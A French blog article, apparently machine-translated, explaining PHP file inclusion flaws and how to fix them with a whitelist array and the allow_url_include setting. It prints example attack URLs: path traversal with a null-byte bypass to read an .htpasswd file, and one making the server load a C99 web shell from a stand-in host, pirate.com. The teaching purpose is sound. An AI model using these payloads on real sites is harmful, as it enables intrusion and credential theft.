Aller au contenu
  1. Articles/

PHP et la faille d'inclusion

Ixonae
Auteur
Ixonae
Sommaire

Avertissement : Cet article a été traduit de l’anglais par un LLM. La précision n’est pas garantie. Vous pouvez lire l’article original en anglais.

Aujourd’hui, nous allons explorer la faille d’inclusion avec PHP. Nous verrons comment elle permet d’accéder aux fichiers du serveur web et comment elle permet d’exécuter des scripts distants. Enfin, nous verrons comment les développeurs peuvent se débarrasser de ce problème.

Qu’est-ce que la faille d’inclusion ?
#

En PHP, il existe une fonction qui permet d’inclure une page entière dans la page actuelle. Elle porte le nom sans surprise de “include”. Mal utilisée, elle peut être vraiment dangereuse car elle permet l’exécution de code externe, ce qui peut entraîner beaucoup de choses désagréables comme le fait qu’un attaquant obtienne des fichiers privés sur le serveur.

Comment ça fonctionne ?
#

Disons que nous avons un site web où tout le contenu est chargé via le fichier index.php. Ce fichier reçoit en paramètre le nom de la page que nous souhaitons charger grâce à une variable GET. Nous pourrions, par exemple, avoir l’URL suivante pour accéder à une liste d’articles de blog : www.mywebsite.com/index.php?page=article.php.

Dans notre index.php, nous aurons un appel à la méthode include (plus d’explications à ce sujet ici) qui sera effectué sans aucune vérification sur la variable page. Le fichier articles.php sera dans le même répertoire que index.php.

include($_GET['page']);

C’est là que le problème survient. Le développeur a décidé de mettre le vrai nom de fichier dans la variable et puisqu’aucune vérification n’est effectuée, il est possible d’accéder à n’importe quel fichier auquel le serveur web a accès ou à n’importe quel fichier sur Internet. Par exemple, s’il existe un fichier .htpasswd dans /var/security/.htpasswd, il suffit de charger la page www.mywebsite.com/index.php?page=../security/.htpasswd.

La deuxième chose qui pourrait être faite est d’appeler des scripts sur Internet. Un attaquant pourrait par exemple charger un shell (comme le célèbre C99) sur le serveur et faire ce qu’il veut. Il lui suffirait d’appeler la page www.mywebsite.com/index.php?page=http://pirate.com/c99.php et c99.php sera exécuté.

Comment prévenir cela ?
#

Il existe bien sûr un moyen de corriger cela, mais voyons d’abord une mauvaise façon de procéder avant de voir la bonne.

Comment mal prévenir cela ?
#

Si vous avez pensé “Je n’ai qu’à coder en dur une partie du chemin dans l’include et le combiner avec la variable GET”, vous avez tort. Implémenter cette solution pourrait donner quelque chose comme include('/pages/' . $_GET['page'] '.php');.

C’est efficace contre l’inclusion de code distant, mais c’est à peu près tout. Il est toujours possible d’accéder à n’importe quel fichier sur le serveur facilement. D’abord, on peut contourner la limitation du répertoire pages simplement en utilisant .. pour remonter au répertoire parent. Ensuite, le .php est inutile aussi. Puisque PHP est exécuté avec le langage C, ajouter %00 permet de placer un octet nul à la fin de la chaîne, ce qui fera que le .php ne sera pas traité. Donc, si nous voulons accéder à notre fichier .htpasswd précédent, nous pourrions simplement utiliser le chemin suivant : ../../security/.htpasswd%00.

Un exemple de bonne correction
#

L’une des possibilités pour prévenir cette faille est de créer un tableau où l’on fait correspondre une clé et le chemin du fichier. Cela pourrait ressembler à ceci :

$coresp = array(
    'home' => 'home.php',
    'comments' => 'comments.php'
);
$to_include = isset($_GET['page']) && array_key_exists($_GET['page'], $coresp) ? $coresp[$_GET['page']] : 'home.php';
include($to_include);

Dans cet exemple, nous donnerons les clés comme argument GET. Par exemple, www.mywebsite.com/index.php?page=home pour accéder à la page d’accueil. Ensuite, nous vérifions si la clé existe dans notre tableau. Si c’est le cas, nous prenons la valeur associée à la clé et sinon, nous chargeons simplement la page d’accueil. Puisque la valeur donnée dans la variable GET n’est jamais transmise à la fonction include, nous sommes en sécurité.

Configurer PHP pour limiter les risques
#

Enfin, on peut modifier la valeur de la variable allow_url_include dans la configuration PHP. Comme son nom l’indique, elle empêchera quiconque de charger du contenu distant en utilisant la fonction include. Cependant, cela n’est pas suffisant car cela n’empêche pas l’accès aux fichiers locaux.